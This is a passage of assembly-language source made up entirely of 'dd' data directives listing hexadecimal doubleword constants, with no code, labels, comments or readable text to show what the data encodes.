		dd 912911h, 4B0F5B61h, 2278BC77h, 0C0AA8900h, 0E695DCB0h
		dd 7EBD3D3Eh, 27EA5F05h, 3A960E76h, 0E20DE7E0h,	0F4CACA1h
		dd 3FC508C4h, 5BA500CAh, 473DDEF7h, 3A768D3Fh, 2C31803Ch
		dd 0A023844Bh, 0DE65011Eh, 3BE2992Eh, 9445CEh, 499AA8EEh
		dd 1000CDFCh, 0B9AF62DCh, 482F46D2h, 0D600DDADh, 82F82A93h
		dd 3000713Ch, 3A99CFC2h, 0C0D0B52Eh, 2BCB54E0h,	0F0CB53F3h
		dd 770C2001h, 1CC39490h, 0CC08D0Dh, 0B92157F4h,	8E0BCF7Ah
		dd 0BCA98Ah, 0D91AA7DBh, 0C5C003Dh, 2E2F2520h, 0E70FB4B8h
		dd 4267AC17h, 606EB547h, 978303h, 0DF049D70h, 0AF5D943Dh
		dd 84CFA48h, 402867C4h,	2A9CF97Bh, 0FDA8700h, 0DC336AB7h
		dd 13935C07h, 0BA71B100h, 1308263h, 0A1D4D800h,	0BAE417Ah
		dd 3AA5005Bh, 51D2C9FFh, 50098F6h, 0D0947F1Eh, 244640CAh
		dd 125C2D65h, 0AC10D2F9h, 2CC85141h, 0DB401210h, 0B27C6840h
		dd 489744C6h, 0BB046C3Bh, 8016B014h, 0C57D8ABBh, 0D000D6E6h
		dd 401A33FDh, 163581C2h, 1CE41B67h, 91B700FCh, 6F582736h
		dd 380E7F98h, 69544130h, 7C8A80BBh, 94DE84h, 1BB1C71Eh
		dd 23A50D20h, 79F12106h, 888F5Fh, 598BBB1Fh, 947411ECh
		dd 5B3A4400h, 41CFA2ABh, 971A0003h, 77FDF9EBh, 11006935h
		dd 0A31E7F4Bh, 364C8h, 0EAAFFB80h, 0E170E397h, 98F92A24h
		dd 0B4FE2B02h, 1071DEh,	0D8ABBEC3h, 6571077Fh, 1D04C000h
		dd 0A0935D4Ch, 7127262Ch, 0BD0B003Fh, 2D33DFE4h, 412397Eh
		dd 4043F754h, 26F689F2h, 3908E1B8h, 0DDAE1384h,	31D090F8h
		dd 0D407379Fh, 661726E2h, 0AD9CA0B9h, 0CA2B34h,	8AB73A8Ch
		dd 9D9B4D13h, 0C7C0A8C0h, 0A56EECh, 0F8632029h,	1E951CD5h
		dd 0C4DCF701h, 0E7BBDF99h, 6E55F8h, 692190F4h, 66180CE0h
		dd 51548912h, 59E16000h, 6E676Fh, 71B652Ah, 0B8F94812h
		dd 0EC14DD00h, 8DCEC5FFh, 787EE98h, 38C713B9h, 0BBCFE3E7h
		dd 88F7DCB0h, 3FE43D00h, 0FFD3419h, 3EC4B015h, 0F8A70824h
		dd 4101E8A2h, 0D56EBCC0h, 96E2C800h, 41132AEh, 71D800F5h
		dd 91AF180h, 2B00D701h,	226375EEh, 15D57D0h, 551F7834h
		dd 0C407F388h, 0B000F571h, 0E3ACF0F4h, 7A2DAA02h, 0B58826BBh
		dd 806E1D80h, 8F300359h, 0B41DC691h, 1280D4BEh,	47CB98EDh
		dd 0CAE5005Eh, 9D33611h, 0C4017EB7h, 0D7AC8F61h, 20A64826h
		dd 0FA1F8090h, 2FA9A260h, 2D62BF02h, 60E7104Fh,	9AF463E8h
		dd 0C8753Ch, 0A82645E9h, 4D5932E8h, 0A9A56101h,	97A65283h
		dd 0A0BC5C60h, 5A7F4F8h, 2613C13Fh, 5F748081h, 1E011676h
		dd 0B1843AE6h, 0C430D67Eh, 3C4800BAh, 0E4689CEAh, 0E1104A15h
		dd 387ECF18h, 0A680ED03h, 0EE35C5F1h, 50BDD5A9h, 800C0078h
		dd 4E4D671Ch, 0FE16F37Ch, 0F00EAA1h, 0D63BCDAAh, 4BBA0743h
		dd 14A25681h, 98A8C26Bh, 59118850h, 34C04E92h, 0CCBFC03h
		dd 0A4933700h, 5626DFB9h, 5F5C002Ch, 0B2E3ABA6h, 7B703612h
		dd 0C3791C0Eh, 284B7391h, 87EC45E1h, 0F03AF69Ch, 8DB63989h
		dd 0C5198B07h, 450E13Bh, 3FD84AD7h, 4900CDC6h, 8A526338h
		dd 0C47D653Ch, 1D03F7E8h, 0E4C1026Ch, 0E580014Eh, 7A853B6Ah
		dd 0FB5830BDh, 0E3E782Ch, 0D891F10Ah, 86596600h, 45C346h
		dd 4B5FCCE2h, 5389D8EBh, 1B223Ch, 0A783CEAAh, 0E3FD2h
		dd 0B5B367D7h, 70F21CB4h, 88008CB9h, 346B10C0h,	3F58DC86h
		dd 4F613203h, 0E7F84727h, 0D51E4E09h, 0A8F4526h, 314C60B8h
		dd 11540B3h, 0DC73E896h, 2C2A9A6Dh, 569E00F0h, 0CBD2B503h
		dd 141F71BAh, 0B48F255Eh, 4823007Fh, 2820BFCFh,	0A183B5Bh
		dd 0C9ECD951h, 6B75388Fh, 11CE7C09h, 0BD8E75h, 0E1A8F716h
		dd 80880036h, 45FFD42Dh, 0A90061C0h, 309507Dh, 2CDE9E77h
		dd 8E7C4B6Fh, 94E04EF9h, 0D9228191h, 23F84A1Ch,	0F0D4A101h
		dd 8FC8E00Ah, 0E9CF0334h, 0D4F4676h, 3C451588h,	3ECB000h
		dd 0DCBAFD9Dh, 0C33D3AB4h, 2AC4017Bh, 32F08E39h, 481E2007h
		dd 35BDA500h, 73856D41h, 2F69129Bh, 68102CF8h, 2CFC0101h
		dd 0D892E633h, 0B4BC46h, 5EB4350h, 0D484209Fh, 2CDC7D07h
		dd 0A93098C1h, 2621739h, 0C6B1FC3h, 5CE80F58h, 3800ECBAh
		dd 0AE14CF8Dh, 0F7807Dh, 9C6C12E9h, 0A18953CBh,	7B0AE2F0h
		dd 0ECAD6199h, 9164B200h, 3FC5797h, 9C2AF3B9h, 15D044BCh
		dd 0C800DE48h, 0B4394BEBh, 133E076h, 349FEF80h,	6118C7A6h
		dd 692301Ch, 19D1E400h,	56BD0787h, 3F0A0E42h, 1C1E7EE6h
		dd 7DED00C8h, 31923944h, 0FE9F3B00h, 0DAB3BCABh, 0B2E70025h
		dd 5C0AA106h, 0FA0081A4h, 5D765986h, 2E43D3h, 3342D85Fh
		dd 0FFF9F1A1h, 0BCE070Bh, 1E7C237Dh, 0DCBF0A0h,	0D1B0139Dh
		dd 0DD488278h, 8A6361C0h, 7492E00h, 252C1613h, 0F8F11895h
		dd 9C89F197h, 0BC0B1800h, 0EB3CC37Fh, 9FCB3930h, 8C9CD83Fh
		dd 0D3B0021h, 0FE0B0938h, 281D5CB8h, 0BF8083ECh, 0A38BAFF1h
		dd 77A928B0h, 0D84200B3h, 2A98F85Ah, 0CD0A0455h, 0CCEBC569h
		dd 0E1854880h, 7C21DC74h, 3120265h, 1D051CECh, 55035472h
		dd 38D7D0D5h, 6264C843h, 7783F472h, 0BC0A1D16h,	0D38FFE0Dh
		dd 8A80AC5Ch, 0CA7F9464h, 9E0FCC01h, 0A815CF01h, 6C1CE8h
		dd 3D244C7Ch, 4F6623Bh,	299D002h, 585B2DA5h, 12B40198h
		dd 89BA24D3h, 3ABDE84Ch, 98928179h, 79A4A71Ch, 0B4034757h
		dd 80F2F88Ch, 4D3D1Bh, 9905AD6Bh, 645D39D7h, 0D4A5213h
		dd 0A6DC0000h, 6BB104h,	98205A2Fh, 18DF1ABh, 3ECC5130h
		dd 0AFF22D0h, 90715878h, 8F313CD8h, 13E0DB10h, 5B88C0F7h
		dd 20E0903h, 0B900C29Fh, 80463ABEh, 1362B601h, 0F108A6A9h
		dd 9447C8h, 0EF785BA8h,	33A1A4D1h, 0BC2CEB00h, 3FECCBFAh
		dd 7617060Ch, 299F930Dh
		dd 8175A103h, 0E51174h,	8EE14FF1h, 0D740BCD5h, 1FAC958h
		dd 3CAECBC5h, 0B42458B5h, 0A18E00D1h, 17EC681Ah, 9900B6ACh
		dd 0C8CBC1B3h, 7A22Eh, 0BE45EF42h, 3393FD6Ch, 0E2438800h
		dd 58A0CA83h, 0B0793Dh,	0F70B4D7Fh, 1641D3DFh, 19179900h
		dd 28F16AC8h, 5AC23062h, 0C991F420h, 2F681E00h,	36D39BF2h
		dd 21641EEAh, 9AC3C0D2h, 6F4BCAF5h, 250CF100h, 9DEDADD1h
		dd 0BDB2096Bh, 88209C83h, 72A39E40h, 0FA11FB65h, 302B0478h
		dd 4B309EE4h, 8672A58Eh, 97353B0Ah, 0E300DC15h,	1F63BD1Ah
		dd 6CD9008Fh, 0B617D4AEh, 40069DDh, 0FE469091h,	8C4513h
		dd 440771E5h, 66F6D855h, 1A5AAC00h, 94B1FF3Fh, 5CD200F9h
		dd 73CF901Bh, 3B002AB3h, 0F4F6335Ah, 0E1DB55h, 0ACB135A1h
		dd 16D37DD9h, 56285007h, 6770181Ch, 745A9CAh, 0B00686C1h
		dd 58D87009h, 1B00E9D6h, 2083416Ah, 45922Bh, 0CB7DF4B3h
		dd 1F38F5BCh, 82D06300h, 23475911h, 0E9F10071h,	0A7728F09h
		dd 350015AEh, 9F6CE418h, 64ADC4h, 0AC4B9710h, 3C2A390Ch
		dd 59ECA000h, 0E8AE063Eh, 613300C4h, 9636B992h,	0F000F31Fh
		dd 4DD8D96Fh, 0FE715905h, 0BCB60388h, 2D7721D1h, 3FD4FCF8h
		dd 4C2A3707h, 58AC0B9Dh, 0D3B501D9h, 64B84006h,	2AAC7C1Fh
		dd 1A008C5Eh, 90EEA4A9h, 90F704F1h, 0C7D60066h,	8F82B6F9h
		dd 0FD71A06Dh, 0DA270803h, 0D033606Eh, 0C04E6676h, 3BA181A8h
		dd 0CD1C2863h, 0BAD5BF2Ah, 73ED00FCh, 914E161Ah, 0B92201FFh
		dd 7828364Fh, 1C96305Bh, 8DD0E200h, 0D6AC1FFBh,	1E657BEDh
		dd 8082E68Ah, 0EEDA6867h, 3C0041A6h, 9729DF05h,	1F305A03h
		dd 0C0BA86F0h, 5C7D3A3Fh, 0B2608909h, 1135DFDCh, 0F0AE01D1h
		dd 4097B813h, 20D4C953h, 603A433Ah, 0DA6F930Eh,	7E50D103h
		dd 29BAF1BEh, 7187DCh, 0EF7A3E05h, 0DDBDCDCCh, 754BB70Fh
		dd 821C4691h, 0D1590056h, 8A906958h, 0C1E89E1Fh, 0FA4E3300h
		dd 0E7972330h, 18B50042h, 0B3A06302h, 4004CFA9h, 0CD8198DEh
		dd 0F0D1BBC3h, 2663034h, 0D862838h, 868AD7Eh, 931F4D75h
		dd 0C20358BAh, 0A88C3AE1h, 30A950DEh, 0A1A8BB67h, 1400D1A2h
		dd 0B871F873h, 0F149EFh, 79250ED7h, 0C8A5BE6h, 315B158h
		dd 17A9AC68h, 712DD173h, 667E30h, 0E0674714h, 0C535A57Ah
		dd 9A58B460h, 5A97CFh, 0DD9FD3ECh, 41E6945Eh, 0E4CCB324h
		dd 0A468AF9Fh, 68FB8F00h, 0CEA8E5D9h, 72A40073h, 0AC90B21Bh
		dd 0FF30EEA2h, 0ECBE814h, 20FD00A8h, 742F50F8h,	0BB00D71Ah
		dd 60A9DCCh, 41F9597h, 0E90361EEh, 0F528808Dh, 0F6105FC3h
		dd 1911A68Ch, 7D921FA9h, 5A9B3300h, 7E08E9h, 994E0952h
		dd 0F46C56B8h, 0D2D46600h, 33E8ADFCh, 0D51503BDh, 4F53FF60h
		dd 8880B80h, 5B4D2500h,	59949DE8h, 0A9D43CCAh, 8AE7EA01h
		dd 0C4077C42h, 62005085h, 1838B53Ah, 0B427EDh, 0EAD7C23Bh
		dd 10A1F857h, 2E0BC900h, 0D94E517Eh, 473C0199h,	61410245h
		dd 621CC4AFh, 89375C00h, 0F7B75426h, 5C724C69h,	0CAF97401h
		dd 0C01D99EDh, 960030C4h, 0A518791Bh, 0FB198Bh,	0AE1F8844h
		dd 2066C3E9h, 0CC2B66C0h, 12773Ch, 0E4D107A4h, 0C1E0316Bh
		dd 3307A978h, 0D84A091Bh, 0E3BCAEE9h, 0D022A20Dh, 1F2535h
		dd 4F90238Bh, 15940283h, 7FC99C03h, 0B98205E2h,	7DE854E6h
		dd 0D4E70036h, 7109293Dh, 88A0687Ch, 0B3AA247h,	954200E4h
		dd 738FDDAFh, 1027651h,	0ACB2657Bh, 806A1330h, 0E1086D31h
		dd 1C735CF0h, 542A21h, 91159BB1h, 35F837CBh, 6639CC0Fh
		dd 6FD7810Dh, 0D2DD20A9h, 0AD01007Dh, 0BC0F90E9h, 68E8403Bh
		dd 0DE78F67Bh, 10FD9B33h, 9EFAB970h, 0BEC470h, 226EF582h
		dd 8CD19384h, 78E8BA00h, 0E954EAF4h, 7A4890DAh,	0A5173C51h
		dd 0BBFD3400h, 242A4AD1h, 6BB5EB12h, 4914E840h,	0EE87D8BEh
		dd 0D2580FDAh, 0AC24C52Ah, 329CD244h, 19FDAC98h, 0AB580083h
		dd 0CF3D5BDAh, 0BC00277Fh, 7DFDFB3Ch, 396CEF51h, 7B14824Eh
		dd 0BA009078h, 9B3F019Ch, 20FD37C0h, 91000C52h,	0DE85F9B2h
		dd 6497EAh, 4F182990h, 2768443h, 0E4019490h, 0CAE2926Dh
		dd 0F0F0D941h, 0DB680781h, 20D71105h, 307D5B3Fh, 23895900h
		dd 0DC1B8321h, 0D8480CDDh, 7890665Eh, 0CEC9FA0Ch, 0F1222Dh
		dd 6F78830h, 0B018C31Dh, 11C51A1Dh, 8143E0CEh, 0B5D39116h
		dd 0AA0E562Ch, 0ED80CBB3h, 12E4EA5Ah, 0A95B9202h, 603D5F44h
		dd 482AF2A9h, 910FC190h, 0DC60C518h, 1C6CCA56h,	78A0B500h
		dd 0C95EB096h, 0EF5A0574h, 80A69434h, 99F8B432h, 1B6CC600h
		dd 46C9B83Bh, 2E5F00E3h, 0D0F76BEEh, 33004B0Fh,	0F4E564C7h
		dd 505D1149h, 73FEABC9h, 92A00A72h, 0A84DE8h, 9198E9EDh
		dd 0D600015Bh, 0DA09232Ch, 8CFC4Fh, 509B240Bh, 7B95CD59h
		dd 299DC207h, 0E767FE26h, 0E26E8E1Fh, 6846A7D5h, 0BF6994h
		dd 0B9DC2FD6h, 22FC4811h, 0E5BB8600h, 6324B7F0h, 1E6D00B0h
		dd 8B47C215h, 341864E9h, 0E1862C9h, 0F22B04E5h,	90D4AC95h
		dd 3D1E32D0h, 85387CEEh, 0DA6500F6h, 192D42CBh,	0DD70002Bh
		dd 9EAB7F54h, 0F300B6EEh, 1BEF2685h, 12FF663h, 2A30374Fh
		dd 0E871B98Ch, 0ED25514Ch, 58781092h, 0A364A5Ch, 26FA9F90h
		dd 8AD305C1h, 20DCD0A1h, 500358B1h, 75A0EF70h, 0CBACA048h
		dd 56E41F1Bh, 0D3147E5Ch, 30B18A4h, 54004C98h, 20EC7813h
		dd 0CC038F74h, 86A2C616h, 0E43DA84Eh, 0B10900F8h, 21EC77C9h
		dd 0AD03BB27h, 0E19C3CBh, 0C14D070h, 0E5491235h, 7BF8448Eh
		dd 4B9CA415h, 5B907866h, 75A70580h, 517747Fh, 0DDF4910h
		dd 0F850191Ch, 0E600D1ACh, 6369C1B9h, 70984h, 0B01CAEA3h
		dd 0CEFA3168h, 2FCB801Fh, 0B79C10A5h, 0C99800D7h, 0F2D5AFDDh
		dd 69060308h, 543A8257h, 5C9B09E8h, 74470C61h, 58FD0448h
		dd 2D0091E5h, 35AE310Eh, 0AC395Ch, 75DAFF53h, 6EFA30E9h
		dd 276BF000h, 38312EB8h, 7000F169h, 26000D55h, 27082DC1h
		dd 304355Dh, 1AE8C22Ch,	3E0AD2Bh, 0D0F9B416h, 0C900AF32h
		dd 52C8330Fh, 0C08FDF11h, 233D3120h, 0B307491Dh, 0C314162Eh
		dd 8F3F612Fh, 5C4BBC29h, 60928209h, 15326C00h, 99004A51h
		dd 0BD55AA2Bh, 4894583Dh, 8200902Ch, 0BEC75C57h, 90ED2132h
		dd 2A847E29h, 4153482Eh, 74B3C0Dh, 26DA42B8h, 3C217F24h
		dd 10961234h, 5B89307Bh, 35451808h, 2229C646h, 742481Dh
		dd 211A6A11h, 82B7104Eh, 2C66543h, 522220AEh, 43372253h
		dd 44272F24h, 0DB185645h, 893BF629h, 303C41CBh,	100A1243h
		dd 83407AAFh, 0BA14A3F7h, 79DE264Dh, 2515CB00h,	0B5A22607h
		dd 0F2960016h, 3E9A630Fh, 0E009FDCh, 4F2EED58h,	5E3698h
		dd 101182EAh, 0BC9477C7h, 0F2642500h, 57D5C387h, 2BE60076h
		dd 7F3F1A7Ah, 891EFD32h, 12467822h, 41879D8h, 0E6DD2C8Bh
		dd 75F8B43Ah, 80F630EDh, 0FE0032E0h, 132F4805h,	38BFA3CBh
		dd 0E481C84Bh, 5B281B8Ch, 0F482D0FDh, 8E45B600h, 730CE615h
		dd 0C1920B05h, 3880D9A4h, 4E2DF25Bh, 1BA473Dh, 2F84DC74h
		dd 35ED22B7h, 44247CFDh, 0E2E9072h, 84F7E9F4h, 0C08E2040h
		dd 0CB036EFDh, 0BACA590Ch, 0F31F9039h, 3A7C2E0Bh, 0F9CC00F0h
		dd 44307797h, 0D1381001h, 4A083578h, 7890B4FBh,	30698219h
		dd 6C2873A8h, 4400B3DDh, 8D9C8FD3h, 67D47405h, 0A0118EE4h
		dd 896E5CDBh, 0BFBA800Fh, 0AA36A12Fh, 29CC44E6h, 3CE4E5h
		dd 8D7F9E17h, 0F3CC71BFh
		dd 30244700h, 23D3EBA7h, 0F4B90028h, 0BC3A56A0h, 8D00729Fh
		dd 6C1D49DFh, 9BB6B61h,	0BD69F2D1h, 9BA50780h, 2200BF09h
		dd 0EB731CC6h, 3E87264Bh, 6D807716h, 29A061B6h,	0B000F7EAh
		dd 0AE516C09h, 2A3C45h,	159689C5h, 0BC904FEh, 0CF25A800h
		dd 0DD21FCD3h, 0F6E63Eh, 0B336BBCAh, 0AAD159EFh, 691838C1h
		dd 0EC4011D9h, 265A31DEh, 5C38h, 0AFE068D3h, 4903181Dh
		dd 3C7AEA0h, 80C09515h,	220F80h, 5EB448D1h, 6DAE974Ah
		dd 830023F6h, 8D7DF4C0h, 1EB51DCEh, 0C0D0274Bh,	9398A257h
		dd 0ED767505h, 0B01B7400h, 0ACB3F74Ah, 9CB803E0h, 84A96DFDh
		dd 4570AA8h, 0D41D034Bh, 9E4A923Fh, 1781C080h, 0C09D2ED1h
		dd 0D7450F60h, 0AD3245h, 1287A794h, 73002990h, 0C5953D1Dh
		dd 92DF84h, 0D0F29F4Bh,	0DCD93C47h, 80EA300h, 8AFA7E07h
		dd 2E3F00ADh, 656866F6h, 0FB3A49CBh, 0E0EF7238h, 0C6FE5A0Bh
		dd 94DED326h, 64CC5F80h, 8410F4h, 73ED9A85h, 0DAA3AE15h
		dd 4DF88C00h, 61C4D734h, 0FE1400A7h, 1763CC13h,	0E0E92498h
		dd 0B0942A2Fh, 0BC1CFF01h, 0D0CA58D1h, 20A61264h, 729F0385h
		dd 2DB80C59h, 8F0063A5h, 4509A432h, 0C0B7E5A1h,	64F6E9F0h
		dd 23F4062h, 810E80AFh,	79C52F3Dh, 0EDE504A6h, 80B02C54h
		dd 0F1CEC408h, 0BE44E700h, 0DF42FE07h, 675B2D4Ch, 3400AC0Fh
		dd 0B63914F7h, 0EB07E778h, 26B1073Fh, 50626C10h, 0A316280Ah
		dd 98150080h, 88C59011h, 0B400BFE1h, 646BB32Eh,	79E6E91h
		dd 33950D0h, 8CE283B2h,	1D3300F7h, 8400D269h, 0BE1C4F17h
		dd 0EF9D8Bh, 0D3EAA5C6h, 0DF2BA6EBh, 3CC12400h,	0ADE0785Ch
		dd 3FCDF277h, 94002D1Eh, 0BE8CD9EDh, 95005E4Ch,	15747C0Ah
		dd 9EEEDF7Fh, 13DC0028h, 0BBBE5F6Ah, 6DC12800h,	80EAB99Ah
		dd 0DFAB0029h, 891C2A0Ch, 0FE390867h, 332403A6h, 0E0E25C72h
		dd 95D90Fh, 611D6E65h, 0EC816849h, 0BF000771h, 0D467458Fh
		dd 50353B96h, 1DD8A482h, 0C4EF70B2h, 0A879A9DBh, 0B1B0094h
		dd 9277D4F5h, 0B59A00EBh, 4AC190FDh, 9124A7B9h,	8600648Ah
		dd 3D2B9B18h, 0E301009Fh, 0CDE773Fh, 0AC0272E4h, 0DB7BF575h
		dd 0E00447Ah, 0B6ED2610h, 0A3B22C40h, 0D6018470h, 128B80D2h
		dd 0CD8E768h, 5AEC05BAh, 42A028h, 717DD099h, 88EA8E6Ah
		dd 3F00177Ah, 0E106A937h, 0EAAA0Ch, 95491019h, 9A2269DDh
		dd 6D582C00h, 5C2813EFh, 37E004EEh, 0C565DCA0h,	0DD1A00D0h
		dd 4D0479FBh, 0B3C9AC14h, 0A0CF25B4h, 75B50E9Ch, 3E4A0050h
		dd 8479C9E3h, 17FCCF37h, 0DA00A9F4h, 7357B941h,	2653902Bh
		dd 40C9676h, 9CA0A199h,	0CF01BC90h, 8E071B1h, 834506Ah
		dd 528A0755h, 0B47F1E30h, 6C0CD0A7h, 0D800B4DAh, 0B607C146h
		dd 3BCD3E18h, 85ACA341h, 0E3FA0F1Ch, 0F1330CE0h, 77042CE2h
		dd 71E7EB18h, 6AFC0C80h, 323E0704h, 92A4ABF8h, 4340F441h
		dd 830094C8h, 0EB6661F5h, 69FA3Bh, 0B351865Eh, 0C668B0A4h
		dd 8A63E100h, 0BB3ED77Ah, 155A0085h, 7833F45Dh,	0EE0089ACh
		dd 0E18626C8h, 9B1D61h,	9613763Dh, 0B5526F7Dh, 6C284A00h
		dd 0C66721F4h, 1F7201CEh, 0E003AD94h, 646060BAh, 80331B0Bh
		dd 4FBD00B2h, 1CD59302h, 3095196h, 4ADB8D73h, 69B5CCF0h
		dd 0DAA430EFh, 0C900D3ECh, 0FFA24889h, 75E0373h, 578675AFh
		dd 0E25DD33Ch, 64D95989h, 7E00C684h, 81CEBDBBh,	50E004B0h
		dd 0ECBFC66h, 55B80150h, 0A5A97100h, 1D000CAFh,	88F0543Bh
		dd 0FA990A07h, 0F66734Ch, 0A885A690h, 0FB9147FCh, 45E67275h
		dd 4805E0F0h, 7B6A4EECh, 0A59DFC00h, 5332BBCh, 1312CC6Bh
		dd 0EEF44018h, 0A53E1677h, 0A3E37F00h, 0F5EB5632h, 9CAB98E0h
		dd 49AA00D0h, 4334B14Fh, 0A6B9D00h, 0ABDAB275h,	0C6D71C3h
		dd 0B762AE0Dh, 8B26A0F0h, 27009C93h, 69056310h,	0CEAE0061h
		dd 8F494D95h, 0C2B82652h, 7C88101h, 0EAB58DD5h,	0E4D4FE8h
		dd 5A251FFEh, 56D69F62h, 0A73124C0h, 0E595B100h, 0E001D5F8h
		dd 511509DDh, 0C48046B5h, 0E7AA5ECAh, 0D8E3Ch, 7819DC70h
		dd 1C0D0E6h, 5CA7CC5Ah,	0F40E9E6Bh, 0B5003E7Fh,	0E8A0E537h
		dd 0D44F81h, 0A2946167h, 4D2AF97Bh, 95AFE900h, 3BDC43E4h
		dd 0D9A7097Dh, 1000B9D0h, 10A2EB74h, 93D7C200h,	0C4631260h
		dd 3627027h, 0AB9D8330h, 0C59057FCh, 1400BD19h,	0E366CAA5h
		dd 982FBAB9h, 93652665h, 0F64507E0h, 80C81447h,	8A9F210h
		dd 0CC42442Ah, 0DB025CFAh, 3EA35056h, 0BEBC600Dh, 4FE900AFh
		dd 5C23302Eh, 9300A99Fh, 0F4B20AEFh, 0D98FBA8h,	88ED77D2h
		dd 9CB4C8B1h, 400AF801h, 0B5B48CBh, 17A90EF0h, 404AE8D1h
		dd 0ED649FC8h, 0DC7F54EFh, 0ABDEA100h, 79906B92h, 5ADD0FC7h
		dd 7E03F6D6h, 0B0CED3EFh, 60B21A16h, 0F08A3088h, 65CA0658h
		dd 0C279263Bh, 0EA24CD72h, 7028DF4Ch, 901CE0E2h, 48C08609h
		dd 0B74015F8h, 36A3AEEh, 9A0159BBh, 0B6DCC030h,	0F616C0C2h
		dd 0EB0052F0h, 74DE6748h, 10DD656h, 1C778FCCh, 921ADFh
		dd 0B02C95EDh, 4AEF6754h, 0ABA880CDh, 0E82C8CB6h, 0E9805CD5h
		dd 0A24B8E0Ch, 0DC5D00E4h, 9AECA011h, 68731BF3h, 374DC400h
		dd 0F7962836h, 0CB50B42h, 0B28066DEh, 8BFF83A3h, 80DF9C00h
		dd 7C0D6BF3h, 0D015025Eh, 43F1BF2Ah, 7A0E5078h,	0E0175935h
		dd 8C36C47Bh, 0A49215h,	7AA02306h, 750BDE70h, 0EA022800h
		dd 86340CD5h, 0E82E136Eh, 1FD00349h, 50125004h,	9CA03C88h
		dd 95AC0112h, 0FEBB48F1h, 8679C4EEh, 168D758h, 0DF907D8Bh
		dd 88D47338h, 0F7540026h, 600AB194h, 0DB3DE3C7h, 2158051h
		dd 0F61204Dh, 2F270005h, 0CD2DB67Ch, 17005E72h,	0B43675A3h
		dd 359BF2h, 0F34B1832h,	9D2CAC94h, 7C038700h, 0AECD9CD0h
		dd 0B6340FD5h, 0F2406ABEh, 0ADA5646Eh, 5772606h, 1C21C4D6h
		dd 89383B66h, 0CC10F363h, 292E74F2h, 2201E1B7h,	0EC4FCBCDh
		dd 0E85F8670h, 0DC790F9Eh, 0C7A0AEBDh, 6AA1653Ah, 0B1EB4C00h
		dd 0E3FB7481h, 0F1D7D94h, 0BBC9524Fh, 0F9DC009Eh, 0ED2F921Eh
		dd 0E49AC500h, 19A1850Ah, 81751FF0h, 2CCB82D1h,	0DC8EE52Fh
		dd 0E8A95A20h, 1F008942h, 1BF4192Bh, 0B00886C9h, 68B10064h
		dd 0E8E47241h, 0FC00ED0Bh, 267B78E1h, 32CB69Fh,	0A015B2FAh
		dd 97F08D72h, 847B7516h, 1424BA00h, 9B32517Fh, 0CBF80020h
		dd 0B469571h, 290028D3h, 0F336581Bh, 1DDDC575h,	40EE5D14h
		dd 9543A1F0h, 20071BAh,	23C8640Eh, 4D7D260h, 574155CAh
		dd 6B08D0D9h, 3107C4B9h, 3F48A152h, 0C784900h, 82654CB1h
		dd 0D06724h, 2EE90ACFh,	13003A7Bh, 8B84CE56h, 64F91Fh
		dd 0BAC21192h, 0AB8E76C1h, 0F1F8A87Bh, 94D6C403h, 0D883ADA6h
		dd 34A569h, 5F740133h, 736797E4h, 8085CD3Bh, 0D2B554ADh
		dd 920584h, 0FED423A7h,	3CD19EFAh, 0D9531601h, 2A5EEBAEh
		dd 3C0D58E8h, 0F80C00Ah, 45E8A5C4h, 73029A7Bh, 19D9F1B6h
		dd 20C647Fh, 0E04BC7D1h, 6050A0C3h, 55C58E06h, 938A4E4h
		dd 3BB76EFAh, 8D480C16h, 0D63A1637h, 12E84A0h, 3390CEC4h
		dd 305FE3E4h, 25CD46Ah,	20E8005Eh, 132F458Dh, 891E0725h
		dd 0C0B26DD8h, 4C76E578h, 80AE2D3Bh, 0DA581CC5h, 1141AC7h
		dd 0A377DFCBh, 203DCD40h, 0BB021964h, 0F18B1391h, 0F856E9h
		dd 0A53C2987h, 5554E29Eh, 63730CBCh, 23EE7018h,	1DD7B721h
		dd 40A93B13h, 1F88CCC1h, 6E4FC56h, 4858504Ch, 487D01E2h
		dd 0C9E5AF24h, 0C8F3430h
		dd 0E4D5EC76h, 2C7A3A30h, 40EA4B2Dh, 149427Ch, 604A93E5h
		dd 70841DF7h, 6D00F26Fh, 0B372F6B9h, 0E4E1A1C1h, 0CB3B00C6h
		dd 68811D97h, 0F0B88099h, 0CFE06E03h, 0E8374AA8h, 0C078FDE4h
		dd 1CBC9E18h, 5507FB71h, 15692663h, 0F2EA7F50h,	0F3080CB1h
		dd 46A03589h, 0FE8434E1h, 8153233Ah, 52FAB3E8h,	0CCD45FC0h
		dd 8BB2008Ch, 493787C4h, 270035B0h, 0CE632D0h, 926214h
		dd 654AB675h, 702A47Ch,	0D067D303h, 8D3CAFh, 0A0619210h
		dd 97E34C51h, 77841900h, 0EA303ECAh, 17603A2h, 0B5326F8Ah
		dd 0F6CF80D0h, 7020B000h, 0DB3D3A6Ch, 0DF740439h, 0F08AAEB1h
		dd 0C2C57E68h, 0A440D9A0h, 0FE56FF82h, 0E7C2542h, 0B780E047h
		dd 162AD39h, 7551007Dh,	0B5B8D0F3h, 0A300991Ah,	0A7491F21h
		dd 220C42h, 0AEC8658Ch,	7BD52723h, 0BD1B0900h, 0D9B6620Ah
		dd 0B0772CB3h, 57FA0030h, 0FC20A910h, 1C07D05Bh, 9520ADF4h
		dd 14FA4A0Ch, 0F0247BDBh, 76772A00h, 2DE49C5Bh,	92DA923Eh
		dd 5C01D05Fh, 3F59D6B6h, 0BE1B60h, 1F0B4B87h, 1D20BC29h
		dd 0A7308378h, 7D6B100Dh, 0CCD106Dh, 37821806h,	4C9FCB7Ah
		dd 0AB0457ECh, 0F0893F5Eh, 1A5BB10Ch, 0A6FA70C0h, 0F8775419h
		dd 879006h, 0F87E9FAAh,	0A88E0168h, 6CD92001h, 7C2A839Dh
		dd 24220120h, 4AAA28Fh,	8088D4F1h, 99D1C130h, 74EFAB03h
		dd 0B2C4FE2Ch, 0E1C18CA6h, 53E13F3Fh, 93244680h, 0CEE9BF29h
		dd 0C10040BEh, 0B17F7132h, 4D0D0062h, 56D7915Eh, 0F4005C7Ch
		dd 2193BD65h, 929DF53Eh, 402C01C8h, 0F3A68962h,	15C680Fh
		dd 58EF0CEDh, 72C868DCh, 0E1B800E6h, 4D964544h,	80A13974h
		dd 46D9CFA7h, 0A5118772h, 34B09D9Bh, 0F15D0Ah, 7503384Bh
		dd 4F44E57Dh, 69B82F78h, 3FE15B0Eh, 4129A2C9h, 0F655E25Fh
		dd 0DA1100F0h, 5374010h, 75E3B500h, 0BEC43CBCh,	0E43D3C68h
		dd 77D8F600h, 9947FACCh, 0C3F99103h, 0A3DE5972h, 0B813B368h
		dd 0D3BF2h, 0E54E1DF6h,	58F4B3E4h, 6505700h, 0AEC37BD7h
